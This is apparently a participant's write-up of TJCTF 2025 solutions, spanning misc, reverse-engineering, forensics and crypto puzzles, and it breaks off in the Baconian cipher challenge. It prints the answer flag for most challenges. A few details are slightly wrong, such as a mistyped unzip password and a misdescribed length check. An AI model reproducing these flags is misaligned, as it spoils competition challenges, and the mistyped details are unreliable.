

Misc

Challenges : discord


misc/discord

TJCTF Organizers


339 solves / 1 point

Welcome to TJCTF 2025! Check out our [Discord server](#) for announcements and updates.

Flag (solved) SUBMIT



Eventually just a sanity check challenge. Open discord and you will find the flag



Here is the flag : tjctf{wahoooooooooooooo_ooo_ooo_ooo_sanity_check}

Challenges : guess-my-number

misc/guess-my-number

gabriel

349 solves / 100 points

You only get ten tries to guess the number correctly, but I tell you if your guess is too high or too low

nc tjc.tf 31700

Flag (solved)

SUBMIT

Downloads

chall.py

When we open the code, it is just a code that randomly generates a number and what we need to do is just guess the number generated.

```
#!/usr/local/bin/python
import random

flag = open("flag.txt").read().strip()
r = random.randint(1, 1000)
guessed = False
for i in range(10):
    guess = int(input("Guess a number from 1 to 1000: "))
    if guess > r:
        print("Too high")
    elif guess < r:
        print("Too low")
    else:
        guessed = True
        break
if guessed == True:
    print(f"You won, the flag is {flag}")
else:
    print(f"You lost, the number was {r}")
```

Here is what i do to get the correct number

```
(myenv) jq@jq-VMware-Virtual-Platform:~/Downloads/TJCTF/guess-my-number$ nc tjc.
tf 31700
Guess a number from 1 to 1000: 500
Too low
Guess a number from 1 to 1000: 750
Too high
Guess a number from 1 to 1000: 625
Too low
Guess a number from 1 to 1000: 700
Too high
Guess a number from 1 to 1000: 650
Too low
Guess a number from 1 to 1000: 675
Too low
Guess a number from 1 to 1000: 685
Too low
Guess a number from 1 to 1000: 690
Too low
Guess a number from 1 to 1000: 695
Too low
Guess a number from 1 to 1000: 697
You won, the flag is tjctf{g0od_j0b_u_gu33sed_correct_998}
```

Here is the flag : tjctf{g0od_j0b_u_gu33sed_correct_998}

Challenges : mouse-trail

misc/mouse-trail

2027aliu

213 solves / 165 points

i was tracking my mouse movements while working on some secret documents. the data got corrupted and now i have thousands of coordinate pairs logged. can you help me figure out what i was drawing?

Flag (solved)

SUBMIT

Downloads

[mouse_movements.txt](#)

What does the question give is a thousand of coordinates pairs logged. What I did is just implement a code that can connect all the points that are stated in the mouse_movements.txt. Here is the code i implements :

```
import matplotlib.pyplot as plt
import math

# Load coordinates from file
def load_coordinates(filename):
    coords = []
    with open(filename, 'r') as f:
        for line in f:
            line = line.strip()
            if line:
                x_str, y_str = line.split(',')
                coords.append((int(x_str), int(y_str)))
    return coords

# Calculate Euclidean distance between two points
def distance(p1, p2):
    return math.sqrt((p1[0] - p2[0])**2 + (p1[1] - p2[1])**2)

# Segment strokes based on jump distance threshold
def segment_strokes(coords, threshold=500):
    strokes = []
```

```

current_stroke = [coords[0]]

for i in range(1, len(coords)):
    if distance(coords[i], coords[i-1]) > threshold:
        # Big jump detected — start a new stroke
        strokes.append(current_stroke)
        current_stroke = []
    current_stroke.append(coords[i])
if current_stroke:
    strokes.append(current_stroke)
return strokes

# Plot all strokes on one plot
def plot_strokes(strokes):
    plt.figure(figsize=(12, 8))
    for stroke in strokes:
        x_vals, y_vals = zip(*stroke)
        plt.plot(x_vals, y_vals, marker='o', markersize=2)
    plt.gca().invert_yaxis() # Because mouse coords y=0 is top
    plt.title('Segmented Mouse Movement Strokes')
    plt.xlabel('X')
    plt.ylabel('Y')
    plt.show()

def main():
    filename = 'mouse_movements.txt'
    coords = load_coordinates(filename)
    print(f"Loaded {len(coords)} coordinates")


    strokes = segment_strokes(coords, threshold=500)
    print(f"Segmented into {len(strokes)} strokes")

    plot_strokes(strokes)

if __name__ == '__main__':
    main()

```

After I run the code, it will help me to generate a figure with lots of coordinate dots connected to each other.



Eventually the result is just like nothing can be observed so I try to reduce the threshold and eventually I get the flag.



Here is the flag : tjctf{we_love_cartesian_plane}

Challenges : make-groups

misc/make-groups

gabriel

154 solves / 245 points

I have a bunch of people and I want to put them in a bunch of different groups. Each group is chosen independently, and there's no limit on how many groups a person can be in. I tried to calculate how many ways I could do this, but for some reason, my code is not working.

Flag (solved)

SUBMIT

Downloads

[calc.py](#) [chall.txt](#)

What does the code give it just that there is some logic error inside the code. So, i just fix it and here is the code fix :

```
m = 998244353

f = [x.strip() for x in open("chall.txt").read().split('\n')]
n = int(f[0])
a = list(map(int, f[1].split()))

# Precompute factorials and inverse factorials
fact = [1] * (n+1)
for i in range(1, n+1):
    fact[i] = fact[i-1] * i % m

# Fermat's little theorem for modular inverse since m is prime
def modinv(x):
    return pow(x, m-2, m)

inv_fact = [1] * (n+1)
inv_fact[n] = modinv(fact[n])
for i in range(n-1, -1, -1):
    inv_fact[i] = inv_fact[i+1] * (i+1) % m

def choose(n, r):
    if r > n or r < 0:
```

```
    return 0
    return fact[n] * inv_fact[r] % m * inv_fact[n-r] % m

ans = 1
for x in a:
    ans = (ans * choose(n, x)) % m

print(f"tjctf{{{{ans}}}}")
```

After I run the code, I just get the flag.

Here is the flag : tjctf{148042038}

Reverse

Challenges : guess-again

rev/guess-again **375 solves / 129 points**

tmm

What happens if you press the button?

Flag (solved)

SUBMIT

Downloads

[chall.xlsb](#)

```
jq@jq-Virtual-Platform:~/Downloads/TJCTF/guess-again$ file chall.xlsb
chall.xlsb: Microsoft Excel 2007+
```

After I inspected the file I found out it is a Microsoft Excel file using the VBA code to check if the flag entered is correct or not. So, I tried to look into the VBA code and understand it.

```
Sub CheckFlag()
    Dim guess As String
    guess = ActiveSheet.Shapes("TextBox 1").TextFrame2.TextRange.Text

    If Len(guess) < 7 Then
        MsgBox "Incorrect"
        Exit Sub
    End If

    If Left(guess, 6) <> "tjctf{" Or Right(guess, 1) <> "}" Then
        MsgBox "Flag must start with tjctf{ and end with }"
        Exit Sub
    End If

    Dim inner As String
    inner = Mid(guess, 7, Len(guess) - 7)


    Dim expectedCodes As Variant
    expectedCodes = Array(98, 117, 116, 95, 99, 52, 110, 95, 49, 116, 95, 114, 117, 110, 95,
    100, 48, 48, 109)
    Dim i As Long
    If Len(inner) <> (UBound(expectedCodes) - LBound(expectedCodes) + 1) Then
        MsgBox "Incorrect"
```

```
Exit Sub
End If
For i = 1 To Len(inner)
    If Asc(Mid(inner, i, 1)) <> expectedCodes(i - 1) Then
        MsgBox "Incorrect"
        Exit Sub
    End If
Next i

MsgBox "Flag correct!"
End Sub
```

```
Function check(str, arr, idx1, idx2) As Boolean
    If Mid(str, idx1, 1) = Chr(arr(idx2)) Then
        check = True
    Else
        check = False
    End If
End Function
```

Basically what the code does is check the length of the flag is not more than 7 and ensure the flag is in the correct format of tjctf{}. Then, it has an array of ascii code to compare with the content of the flag to check whether the flag is correct or not. After some reversing, I got the flag.



Here is the flag : tjctf{but_c4n_1t_run_d00m}

Challenges : serpent

rev/serpent 300 solves / 172 points

max

go to the deepest level

Flag (solved) SUBMIT

Downloads

ast_dump.pickle

At the beginning, I had no idea what this file was about but after some research I know that this is a python file that stores python objects using the pickle module. So, I use the following code to convert the data into python code.

```
import pickle
import ast

file_path = 'ast_dump.pickle'

with open(file_path, 'rb') as f:
    data = pickle.load(f)

# Convert AST back to source code (requires Python 3.9+)
source_code = ast.unparse(data)
print(source_code)
```

After I convert to python code, there is a bunch of long code containing lots of fake flags. Through the help of the question which stated goes to the deepest level. I found the flag using the Ctrl + F.

```
def level_four_nested():
    garbage_1 = 'tjctf{'
    garbage_2 = '}'

    class DeepestLayer:
        def __init__(self):
            self.final_data = {'key': 'value'}

        def ultimate_process(self):
            junk_1 = 'tjctf{junk_1}'
            junk_2 = 'tjctf{junk_2}'
            junk_3 = 'tjctf{junk_3}'

        def final_nested():
            secret = 'tjctf{f0ggy_d4ys}'
            return None
        return final_nested()
    return DeepestLayer()
return level_four_nested()
```

The secret variable name indicates that the content is the flag.

Here is the flag : tjctf{f0ggy_d4ys}

Challenges : garfield-lasagna-monday

rev/garfield-lasagna-monday **187 solves / 291 points**

bhkrayola

garfield will give you the flag if you can figure out his favorite few words to start a madlib.

[garfield-lasagna-monday.tjc.tf](#)

Flag (solved) SUBMIT

When I click on the link, it directs me to a website containing Garfield and also some columns that can input some things. So, I tried to type in some random stuff to test and after inspecting the html code, I got this.

```
<script> const w1 = "a", w2 = "a", w3 = "a", w4 = "a", w5 = "a"; const checkInput =  
${w1}|${w2}|${w3}|${w4}|${w5}; fetch("/static/challenge.wasm") .then(resp =>  
resp.arrayBuffer()) .then(bytes => WebAssembly.instantiate(bytes, {})) .then(results => { const  
exports = results.instance.exports; const memory = exports.memory; const ptr = 1024; const  
encoder = new TextEncoder(); const inputBytes = encoder.encode(checkInput); const u8 =  
new Uint8Array(memory.buffer); if (memory.buffer.byteLength < ptr + inputBytes.length + 1) {  
console.error( Cannot write ${inputBytes.length + 1} bytes at offset  
${ptr}. + Memory is only ${memory.buffer.byteLength} bytes long! );  
return; } u8.set(inputBytes, ptr); u8[ptr + inputBytes.length] = 0; if (exports.check(ptr) === 1) {  
const flagPtr = exports.get_flag(); let out = ""; let i = flagPtr; // should be 0 while (u8[i] !== 0) {  
out += String.fromCharCode(u8[i]); i++; } document.getElementById("flag").innerText = out;  
document.getElementById("flag-container").style.display = "block"; } } ) .catch(err =>  
console.error("Failed to load/instantiate challenge.wasm:", err)); </script>
```

The code loads a wasm file which compares my input with the validation on the wasm file. If the input is equal, it will return a flag. After looking through the website, I found the wasm file.

Name	Status	Type	Initiator
express-fte.js	200	script	ShowOneChild.js:18
style2.css	304	stylesheet	mylabs:6
express-fte-utils.js	200	script	express-fte.js:18
challenge.wasm	304	wasm	mylabs:42
landingbackground.png	304	png	style2.css
sidePanelUtil.js	200	script	GenAIWebpageE
readability.js	200	script	sidePanelUtil.js:18

After using a decompiler for the wasm, we have the code for the wasm. Here is the part of it.

```
(module
  (type (;0;) (func (result i32)))
  (type (;1;) (func (param i32) (result i32)))
  (type (;2;) (func))
  (type (;3;) (func (param i32)))
  (func (;0;) (type 2)
    nop)
  (func (;1;) (type 1) (param i32) (result i32)
    (local i32)
    block ; label = @1
    local.get 0
    i32.load8_u
    i32.const 98
    i32.ne
    br_if 0 ;(@1;)
    local.get 0
    i32.load8_u offset=1
    i32.const 108
    i32.ne
    br_if 0 ;(@1;)
    local.get 0
    i32.load8_u offset=2
    i32.const 117
    i32.ne
    br_if 0 ;(@1;)
    local.get 0
    i32.load8_u offset=3
    i32.const 101
    i32.ne
    br_if 0 ;(@1;)
    local.get 0
    i32.load8_u offset=4
    i32.const 124
    i32.ne
    br_if 0 ;(@1;)
    local.get 0
    i32.load8_u offset=5
    i32.const 116
    i32.ne
    br_if 0 ;(@1;)
    local.get 0
    i32.load8_u offset=6
    i32.const 117
    i32.ne
    br_if 0 ;(@1;)
    local.get 0
    i32.load8_u offset=7
    i32.const 120
    i32.ne
    br_if 0 ;(@1;)
    local.get 0
    i32.load8_u offset=8
    i32.const 101
    i32.ne
    br_if 0 ;(@1;)
    local.get 0
    i32.load8_u offset=9
    i32.const 100
    i32.ne
    br_if 0 ;(@1;)
    local.get 0
    i32.load8_u offset=10
    i32.const 111
    i32.ne
    br_if 0 ;(@1;)
    local.get 0
    i32.load8_u offset=11
    i32.const 124
    i32.ne
```

From the code, we can know what is the exact input needed based on the constant which is a number in ascii that can convert to character.

```
const w1 = "blue",
      w2 = "tuxedo",
      w3 = "dance",
      w4 = "chaos",
      w5 = "pancakes";
```

Here is the flag : tjctf{w3b_m4d_libs_w4sm}

Forensic

Challenges : hidden-message

forensics/hidden-message

2027aliu

309 solves / 110 points

i found this suspicious image file on my computer. can you help me figure out what's hidden inside?

Flag (solved)

SUBMIT

Downloads

suspicious.png

```
jq@jq-Virtual-Platform:~/Downloads/TJCTF/hidden-message$ ls
'uploads?key=506f8147e492d336bbe78fdeabfc8162a0f804948d9d4dfa5b3c54c3293fb%2F
suspicious.png'
jq@jq-Virtual-Platform:~/Downloads/TJCTF/hidden-message$ zsteg uploads\?k
ey\=506f8147e492d336bbe78fdeabfc8162a0f804948d9d4dfa5b3c54c3293fb%2Fsuspiciou
s.png
  Imagedata      ... file: Targa image data - Map 1024 x 1023 x 1 +256 +259 "\\
  002\003"
  p1,rgb,lsb,xy   ... text: "tjctf{steganography_is_fun}###END###"
  p2,g,lsb,xy    ... text: ["U" repeated 25 times]
  p2,g,msb,xy    ... text: ["U" repeated 25 times]
  p4,g,lsb,xy    ... file: 0420 Alliant virtual executable not stripped
  p4,g,msb,xy    ... text: ["D" repeated 50 times]
  p4,bgr,lsb,xy  ... file: 0421 Alliant compact executable
jq@jq-Virtual-Platform:~/Downloads/TJCTF/hidden-message$
```

Here is the flag : tjctf{steganography_is_fun}

Challenges : deep-layers

forensics/deep-layers **299 solves / 113 points**

ansh

Not everything ends where it seems to...

Flag (solved) **SUBMIT**

Downloads

chall.png

Eventually just use zsteg to see the pictures and we found this

```
jq@jq-VMware-Virtual-Platform: ~/Downloads/TJCTF/deep-layers
00000050: 47 59 85 43 55 5c 64 ca b6 8f 42 68 0f 7c 94 61 |GY.CU\d...Bh.|.
a| 00000060: 1a 1f 88 38 48 bf f5 96 1b 45 3a 56 dd 7f 1d 44 |...8H....E:V...
D| 00000070: 69 54 81 8e 7a f3 94 f2 f0 37 86 37 22 d8 a6 b0 |iT..z....7.7"..
.| 00000080: 13 f9 fa 09 61 0a 50 4b 07 08 24 fa 3e e2 43 00 |....a.PK..$.>.C
.| 00000090: 00 00 37 00 00 00 50 4b 01 02 1e 03 0a 00 09 00 |..7...PK.....
.| 000000a0: 00 00 41 92 c5 5a 24 fa 3e e2 43 00 00 00 37 00 |..A..Z$.>.C...7
.| 000000b0: 00 00 09 00 18 00 00 00 00 00 00 00 00 a4 81 |.....
.| 000000c0: 00 00 00 00 73 65 63 72 65 74 2e 67 7a 55 54 05 |....secret.gzUT
.| 000000d0: 00 03 99 17 42 68 75 78 0b 00 01 04 f6 01 00 00 |....Bhux.....
.| 000000e0: 04 14 00 00 00 50 4b 05 06 00 00 00 00 01 00 01 |....PK.....
.| 000000f0: 00 4f 00 00 00 96 00 00 00 00 00 00 00 00 00 00 |.0.....
|
meta Password ... text: "cDBseWdsMHRwM3NzdzByZA=="
jq@jq-VMware-Virtual-Platform:~/Downloads/TJCTF/deep-layers$
```

The screenshot shows the CyberChef interface. On the left, under the 'Recipe' tab, there is a 'From Base64' section. It includes a dropdown menu set to 'Alphabet' with options 'A-Za-z0-9+=', a checked checkbox for 'Remove non-alphabet chars', and an unchecked checkbox for 'Strict mode'. On the right, under the 'Input' tab, the base64 string 'cDBseWdsMHRwM3NzdzByZA==' is pasted. Under the 'Output' tab, the decoded result 'p0lygl0tp3ssw0rd' is displayed.

We hold this string first, back to the file

```
younaice@youbuntu:~/tjctf$ binwalk chall.png
DECIMAL      HEXADECIMAL      DESCRIPTION
----          -----          -----
0            0x0              PNG image, 1 x 1, 8-bit/color RGBA, non-interlaced
90           0x5A             Zlib compressed data, default compression
119          0x77             Zip archive data, encrypted at least v1.0 to extract, compressed size: 67, uncompressed size: 55, name: secret.gz
348          0x15C            End of Zip archive, footer length: 22
```

Use binwalk to check if there's any embedded file. And yes, there's

```
younaice@youbuntu:~/tjctf$ binwalk -e chall.png
DECIMAL      HEXADECIMAL      DESCRIPTION
----          -----          -----
0            0x0              PNG image, 1 x 1, 8-bit/color RGBA, non-interlaced
90           0x5A             Zlib compressed data, default compression
WARNING: Extractor.execute failed to run external extractor 'jar xvf "%e": [Errno 2] No such file or directory: 'jar'', 'jar xvf "%e"' might not be installed correctly
119          0x77             Zip archive data, encrypted at least v1.0 to extract, compressed size: 67, uncompressed size: 55, name: secret.gz
348          0x15C            End of Zip archive, footer length: 22
younaice@youbuntu:~/tjctf$ ls
chall.png  _chall.png.extracted  suspicious.png  _suspicious.png.extracted
```

Extract the file

```
younaice@youbuntu:~/tjctf$ cd _chall.png.extracted/
younaice@youbuntu:~/tjctf/_chall.png.extracted$ ls
5A 5A.zlib  77.zip
younaice@youbuntu:~/tjctf/_chall.png.extracted$ unzip 77.zip
Archive: 77.zip
[77.zip] secret.gz password:
extracting: secret.gz
```

After we move to the directory where the file is extracted, there's a zip file named 77.zip
Then we unzip it, and a password is requested.

Hence, here's where we type the password to unzip the file : p0lyg0tp3ssw0rd
And we got [secret.gz](#)

```
younaice@youbuntu:~/tjctf/_chall.png.extracted$ ls
5A 5A.zlib  77.zip  secret
younaice@youbuntu:~/tjctf/_chall.png.extracted$ cat secret
tjctf{p0lygl0t_r3bb1t_h0l3}
younaice@youbuntu:~/tjctf/_chall.png.extracted$ █
```

Then we check the file inside this folder again, and there's a file named secret.
Read it and the flag is there!

Here's the flag: tjctf{p0lygl0t_r3bb1t_h0l3}

Challenges : footprint

forensics/footprint

213 solves / 170 points

tmm

The folder used to hold some important files — including one with the flag as its name. Unfortunately, all the files were deleted. Can you piece together the flag from what's left behind?

Flag (solved)

SUBMIT

Downloads

[files.zip](#)

```
jq@jq-VMware-Virtual-Platform:~/Downloads/TJCTF$ cd footprint/
jq@jq-VMware-Virtual-Platform:~/Downloads/TJCTF/footprint$ ls
files  files.zip
jq@jq-VMware-Virtual-Platform:~/Downloads/TJCTF/footprint$ cd files
jq@jq-VMware-Virtual-Platform:~/Downloads/TJCTF/footprint/files$ ls -al
total 36
drwxr-xr-x 3 jq  jq  4096 Jun  7  01:00 .
drwxrwxr-x 3 jq  jq  4096 Jun  7  00:31 ..
drwxrwxr-x 5 jq  jq  4096 Jun  7  00:36 ds_env
-rw-r--r-- 1 jq  jq 14340 Jun  6  15:27 .DS_Store
```

After I unzip the file, there is a hidden file of .DS_Store. So I wrote a code to get all the previous file names.

```
from ds_store import DSStore

ds_store_path = ".DS_Store" # path to your DS_Store file

with DSStore.open(ds_store_path, "r") as d:
    for entry in d:
        print(entry.filename)
```

```
(myenv) jq@jq-VMware-Virtual-Platform:~/Downloads/TJCTF/footprint/files$ python3  
program.py  
- FumtF3yx-kSP11OD8mFPA  
0wnNJD_pKKNtfhG-HL8iJw  
1VmhsaBo9ymK5dUhB3cPEQ  
1zp7dw6eF3co0VaPDKhUag  
27bCy1Bt-9nnLG4W8oxkNA  
4vsxjPs-c9hBNmmaE8HJ8Q  
5rc69mw3DNjUvLolTrP3ew  
6zed3-nVA008etbNxGTNEQ  
78ICY1U_sI9qqF6vv97RhA  
7AJTVqVtlVelnulrRMUCAQ  
7P7nopvmQj2usona47YjSA  
7v9Vn8ci1_C1tyjKpOrDjA  
9lZ0k-7YFRkQu1QhA-d-DA  
_KxyLnw2LZxOc0Tk9U0cig  
A69F-dk9M1nQFfzi06gLPw  
abvFjWgNkHKQYbaMyCjdIw  
AFEvM2adjTHq0E8noIE0kw  
aNHzuom-c5UIGbW5ceGc9g  
aNpc9lG0gpLnRvGI2JPQMA  
aXNfdXNlZnVsP30gICAqIA
```

It look like a base64 so i try it for all file name

```
import base64  
  
filenames = [  
    "FumtF3yx-kSP11OD8mFPA",  
    "0wnNJD_pKKNtfhG-HL8iJw",  
    "1VmhsaBo9ymK5dUhB3cPEQ",  
    "1zp7dw6eF3co0VaPDKhUag",  
    "27bCy1Bt-9nnLG4W8oxkNA",  
    "4vsxjPs-c9hBNmmaE8HJ8Q",  
    "5rc69mw3DNjUvLolTrP3ew",  
    "6zed3-nVA008etbNxGTNEQ",  
    "78ICY1U_sI9qqF6vv97RhA",  
    "7AJTVqVtlVelnulrRMUCAQ",  
    "7P7nopvmQj2usona47YjSA",  
    "7v9Vn8ci1_C1tyjKpOrDjA",  
    "9lZ0k-7YFRkQu1QhA-d-DA",  
    "_KxyLnw2LZxOc0Tk9U0cig",  
    "A69F-dk9M1nQFfzi06gLPw",  
    "abvFjWgNkHKQYbaMyCjdIw",  
    "AFEvM2adjTHq0E8noIE0kw",  
    "aNHzuom-c5UIGbW5ceGc9g",  
    "aNpc9lG0gpLnRvGI2JPQMA",  
    "aXNfdXNlZnVsP30gICAqIA",  
    "b-PeUWwmIHzmh613ikEFWw",  
    "b0HMxEHbs7pA9uHtxRPPTQ",  
    "Bg9XKyNnYRSpUIYeK_2knA",  
    "CE4CzpPMjNHuYeLi2dLNHg",  
    "CPyvVdX_ynvUTdxXWYr7Mw",  
    "D0FvxLGtoba2wKJQQEjUKA",  
    "D3LWCMzIQyc12SQUw5uDnw",
```

"DFhc0ROB762T-pZvtdPFqA",
"dGpjGZ7ZHNfc3RvcnVfIA",
"dtiqv7O15HVT3k4aL1sTDA",
"Dwv-qkn0QQLu8RlhwUNNeA",
"e1xUP4GStK_ITs2W6gEkPA",
"E6IuP9ouzpQDYXSNNdSyFw",
"E8tEXrVCNAqQmSji8cDWqQ",
"eNSX5RnqD95dCp7TNI2zOg",
"eSRLCk2xqnpx1htFqlBAvw",
"f0wkaX7NmMMATw1grKXIyw",
"FsmKr0zCKawO9TVNgKkVvA",
"FxWYnxWEHMQGNLR_7uXRw",
"g8azPwd-y-_2VU-dmRK7IA",
"GQxeqKQR4yLzIz889h8awQ",
"iHFj7XDSlesD-TJ-aSiTyA",
"jg1spCuL4Vix9bgpToP5Hg",
"JuARulvr7ZvOOpeJ9LTovA",
"kAbgNCWwQGUZWFKtillHeA",
"kfAVM8pkh2jSSeuP0uWGog",
"LWUOeeOqK7mlQOTJmSmwVA",
"LxtZhpBRiU8PSE4eXQZV0w",
"meMllojtiqbBuHOGDYud_Q",
"mLO_JmXEG0tcWougAWQ6Qw",
"MnbgbJqhwFXlh_kKG1YLJQ",
"N3lsvxkjSRnwlfz3Z7C5uw",
"n8KZj1W3tx2WIXg8HqtF3g",
"niZvl6zZ8yzoSI17d963mQ",
"Ns2Tpp4fQxW5zhYLLGIvda",
"NUhhZkAZsgdvPVVF3KzZpA",
"p7s4fwmK70UDkM_ApmX3A",
"PgbanHSdf0H3qDXVUrVaaA",
"PGjsQh7wml99RXiA-gta6Q",
"pJ_ampVpclVGvZErvPVONDQ",
"pm_TeJmHmlL-5Mdv3R1YoA",
"pMOW9YUc2Zrd-6B5G3-NSQ",
"Po5jOoQ4HUssvLHuCmDj5g",
"pOGIM0FXA5tvruLyZ5AVRA",
"pPd8nFycxgq3SD67StjdCQ",
"PqYOp2_ps2oErxF5U5uSXA",
"PrceMk6k6v8-gPc6YUfuvQ",
"prsJSTpQJJX5eKJQF3akDg",
"PuAZy-41HFCOsKTCZkwDBw",
"QJWXuKXCsnG2mjGYYbyoaA",
"QLpbpFhcDb2oapdj3Ygutg",
"Qs13PznBoQJC9yjgWm-clQ",
"QzopSLFcXVCF5sII8C8jJA",
"r4NAxKJ_RMhOLA468CAuLQ",
"rhnhvISsjRdNv35ZYwqSMg",
"rkFwpUQRoffUQmfqnKFCNg",
"sOcYOUIJYjTYFNud5htCA",

```

"sPEu3qqkuJDSVB6LZ0x82w",
"tCSdwHZsNBvNS3h4qih6tA",
"TibD2LWT-7Xua5Wmivc-6A",
"TM0MhKzOCDKMYoIgyoYc3g",
"TxlnTHhAAyM7wIn3PGdLEg",
"Ur4ktp41Mmf49_FANNugHQ",
"uvlo5poX5D2dGKif1JiWIA",
"uXcTlwm5yaS69kQd0YIYgQ",
"V2XHU0KaptQFjruBnOeYJw",
"V3JQfigsgWSgJ2bu8luPOQ",
"vNgO1oK2Ft-Q_OVtcjk7og",
"VRU6bDaPkqPqFxsfBjrPQA",
"VVa_NUjLLaMsO2_Jwko-SA",
"w1oE_3GO5OTRADuEQ9Pqnw",
"W62TUulfC_ma91QdMu4ISA",
"wzeP722FHEtirWHFJrgP2A",
"xcTHd2ZbYtO9LQ2fmaQo1Q",
"XfjqZgZvquXzdndfbcMKQMA",
"Xnji8ExzCRLmKJvoAkZftA",
"yfmS9_zOUlcxfSY-obWMhg",
"ylFen4T5uMeqvJC6p8dfkA",
"yx7GMqzc5YejMzOO5F087g",
"Z3cpkGAUMILgzQctzCo2Zg"
]

def decode_base64_urlsafe(s):
    # Convert URL safe base64 variant (- to + and _ to /)
    s = s.replace('-', '+').replace('_', '/')
    # Add padding if missing
    padding = '=' * ((4 - len(s)) % 4) % 4
    s += padding
    try:
        return base64.b64decode(s).decode('utf-8', errors='ignore')
    except Exception as e:
        return f"[Decoding Error: {e}]"

for filename in filenames:
    decoded = decode_base64_urlsafe(filename)
    print(f"{filename} -> {decoded}")

```

```
jq@jq-VMware-Virtual-Platform: ~/Downloads/TJCTF/footprint/files
```

```
7P7nopvmQj2usona47YjSA -> 碩B=#H
7v9Vn8ci1_C1tyjKpOrDjA -> U"(d3
9lZ0k-7YFRkQu1QhA-d-DA -> VtT!~

_KxyLnw2LZx0c0Tk9U0cig -> r.|6-NsDM
A69F-dk9M1nQFfzi06gLPw -> E=3Yθ
??
ra(żjWgNkHKQYbaMyCjdIw -> iōh
AEEvM2adjTHq0E8noIE0kw -> Q/3f10'4
aNHzuom-c5UIGbW5ceGc9g -> h█
aNPa9lG0gpLnRvGI2JPQMA -> hQFØ
aXNfdXNLZnVsP30gICAgiA -> is_useful?}
b-PeUWwm1Hzmh613ikEFWw -> oQl&|慷慨wA[
b0HMxEHbs7pA9uHtxRPPTQ -> oAA³@M
Bg9XKyNnYRSpUIYeK_2knA -> W+#gaP+
CE4CzpPMjNHuYeLi2dLNHg -> NÍa
CPyvVdX_ynvUTdxXWYr7Mw -> U{MWY3
D0FvxLGtoba2wKJQQEjUKA -> AoP@H(
D3LWCMzIQyc12SQUw5uDnw -> C'5$Û
DFhc0ROB762T-pZvtdPFqA ->
X\پÛ
dGpjdgZ7ZHNfc3RvcmVfIA -> tjctf{ds_store_
dtiqv7015HVT3k4aL1sTDA -> v۪SN♦/[
```

Here is the flag : tjctf{ds_store_is_useful?}

Challenges : album-cover

forensics/album-cover 173 solves / 221 points

varun

i heard theres a cool easter egg in the new tjcsc album cover

Flag (solved) **SUBMIT**

Downloads

albumcover.png **enc.py**

Basically, what is happening inside the code is that it converts the wav file into an image which is the albumcover.png. So, what I did is convert the image back to the wav file. Here is the code :

```
from PIL import Image
import numpy as np
import wave

# Load the image
img = Image.open('albumcover.png').convert('L')
arr = np.array(img).astype(np.float32)

# Reverse the normalization: from 0-255 -> int16 range
audio_samples = (arr / 255.0) * 65535 - 32768
audio_samples = audio_samples.astype(np.int16).flatten()

# Write to WAV file
with wave.open('recovered.wav', 'wb') as w:
    w.setnchannels(1)
    w.setsampwidth(2) # 16-bit
    w.setframerate(44100)
    w.writeframes(audio_samples.tobytes())
```

After I run the code, I get an audio file. I try to listen to the audio file but it seems like just a random sound without any information. So, I try to inspect the sound track to see if there are any hidden messages.

```
import wave
import numpy as np
import matplotlib.pyplot as plt
from scipy.signal import spectrogram
```

```


# Load WAV file
filename = 'recovered.wav'
with wave.open(filename, 'rb') as w:
    sample_rate = w.getframerate()
    n_frames = w.getnframes()
    frames = w.readframes(n_frames)
    samples = np.frombuffer(frames, dtype=np.int16)

# Plot waveform
plt.figure(figsize=(12, 6))
plt.subplot(2,1,1)
plt.plot(samples)
plt.title('Waveform')
plt.xlabel('Sample number')
plt.ylabel('Amplitude')

# Plot spectrogram
plt.subplot(2,1,2)
frequencies, times, Sxx = spectrogram(samples, sample_rate)
plt.pcolormesh(times, frequencies, 10 * np.log10(Sxx), shading='gouraud')
plt.ylabel('Frequency [Hz]')
plt.xlabel('Time [sec]')
plt.title('Spectrogram')
plt.colorbar(label='Intensity [dB]')
plt.tight_layout()
plt.show()

```

After I run the code, here is the figure.



Here is the flag : tjsctf{THIS-EASTER-EGG-IS-PRETTY-COOL}

Challenges : packet-palette

forensics/packet-palette 146 solves / 345 points

ansh

Someone tried to reinvent USB-over-IP... poorly. Can you sift through their knockoff protocol?

Flag (solved) SUBMIT


Downloads
chall.pcapng

Basically the challenges give us a chall.pcapng file. So, I try to analyze the file through file command and binwalk command to see if there is any hidden file or anything in the file.

```
j@jq-VMware-Virtual-Platform:~/Downloads/TJCTF/packet-palette$ file chall.pcapng
chall.pcapng: pcapng capture file - version 1.0
j@jq-VMware-Virtual-Platform:~/Downloads/TJCTF/packet-palette$ binwalk chall.pcapng

DECIMAL      HEXADECIMAL      DESCRIPTION
-----      -----
246          0xF6            PNG image, 800 x 400, 8-bit/color RGB, non-interlaced
```

I found out that there is a hidden picture inside the file but it seems like nothing was extracted after I tried with the binwalk -e. So, I tried to open the file in the wireshark to see if there was a hidden message. And eventually I found out there is a png header inside one of the packets.



So, I am thinking the data might be distributed inside all the packets so I tried to inspect each packet and found out that packet 2 to 21 is having an unusual length of data. I tried to extract the data using the following code.

```

for i in {2..21}; do
    tshark -r chall.pcapng -Y "frame.number == $i" -T fields -e data >
    payloads_raw/payload_$i.hex
    xxd -r -p payloads_raw/payload_$i.hex > payloads_raw/payload_$i.bin
done

# after i run the above code i still can see there is some file having .hex so what i do in
converted all the hex file into bin file again using the following script

for f in payload_*.hex; do
    xxd -r -p "$f" > "${f%.hex}_converted.bin"
done

```

Then I combined all the data starting from the png header which is the bytes 12 from the data I extracted out although it is bytes 54 in the chall.pcapng file.

```

#!/bin/bash

output="final.png"
> "$output" # clear output file


# Start at byte 12 for payload_2
dd if="payloads_raw/payload_2Converted.bin" bs=1 skip=12 status=none >> "$output"

# From payload_3 to payload_21
for i in {3..21}; do
    file="payloads_raw/payload_${i}Converted.bin"
    if [ -f "$file" ]; then
        dd if="$file" bs=1 skip=12 status=none >> "$output"
    else
        echo "⚠️ Warning: $file not found"
    fi
done

echo "✅ Done! PNG saved as $output"

```

Then I open the final.png file and eventually get the flag.



Here is the flag : tjctf{usb1p_f13g_1ns1d3_3_pr0t0c0l}

Cryptography

Challenges : bacon-bits

crypto/bacon-bits
grace

185 solves / 186 points

follow the trail of bacon bits...

flag is all lowercase, with the format of tjctf{...}

Downloads

[out.txt](#) [enc.py](#)

out.txt
enc.py

We are given two files from the question. The first one is the enc.py which contains the code for encryption. Firstly, we open the enc.py first and here is the code

```
with open('flag.txt') as f: flag = f.read().strip()
with open('text.txt') as t: text = t.read().strip()

baconian = {
'a': '00000',    'b': '00001',
'c': '00010',    'd': '00011',
'e': '00100',    'f': '00101',
'g': '00110',    'h': '00111',
